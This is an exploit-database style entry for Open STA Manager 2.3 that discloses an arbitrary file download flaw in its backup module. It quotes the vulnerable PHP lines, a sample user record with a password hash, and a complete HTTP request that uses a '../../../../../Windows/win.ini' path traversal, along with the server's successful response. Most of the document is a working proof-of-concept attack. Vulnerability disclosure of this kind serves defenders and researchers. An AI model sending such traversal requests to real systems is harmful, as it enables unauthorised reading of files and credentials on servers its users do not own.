Open STA Manager 2.3 Arbitrary File Download

`# Exploit Title: Open STA Manager 2.3 - Arbitrary File Download  
# Dork: N/A  
# Date: 2018-10-25  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.openstamanager.com/  
# Software Link: https://sourceforge.net/projects/openstamanager/files/latest/download  
# Version: 2.3  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/modules/backup/actions.php?op=getfile&file=[FILE]  
#   
# Technicians, Agents, Customers users group can run sql codes.  
#   
# /* `exploitdb`.`zz_users` */  
$zz_users = array(  
array('idutente' => '2','username' => 'efeefeefe','password' => '$2y$10$pesWR2SHoxriSupiXsBwX.tTFdsjk9XuJoZAS/L5thFUt97LMLiyu','email' => '[email protected]','idanagrafica' => '0','idtipoanagrafica' => '0','idgruppo' => '4','enabled' => '1','created_at' => '2018-10-25 09:30:33','updated_at' => '2018-10-25 09:32:09')  
);  
#   
# /[PATH]/modules/backup/actions.php  
# ....  
# 05 switch (filter('op')) {  
# 06 case 'getfile':  
# 07 $file = filter('file');  
# 08   
# 09 force_download($file, file_get_contents($backup_dir.$file));  
# 10   
# 11 break;  
# ....  
  
GET /[PATH]/modules/backup/actions.php?op=getfile&file=../../../../../Windows/win.ini HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=lt998mh6qs6qq2d7daj9ogdoa0  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Thu, 25 Oct 2018 09:43:40 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: 0  
Cache-Control: must-revalidate, post-check=0, pre-check=0, private  
Pragma: public  
Content-Disposition: attachment; filename="win.ini";  
Content-Transfer-Encoding: binary  
Content-Length: 564  
X-Robots-Tag: noindex  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
`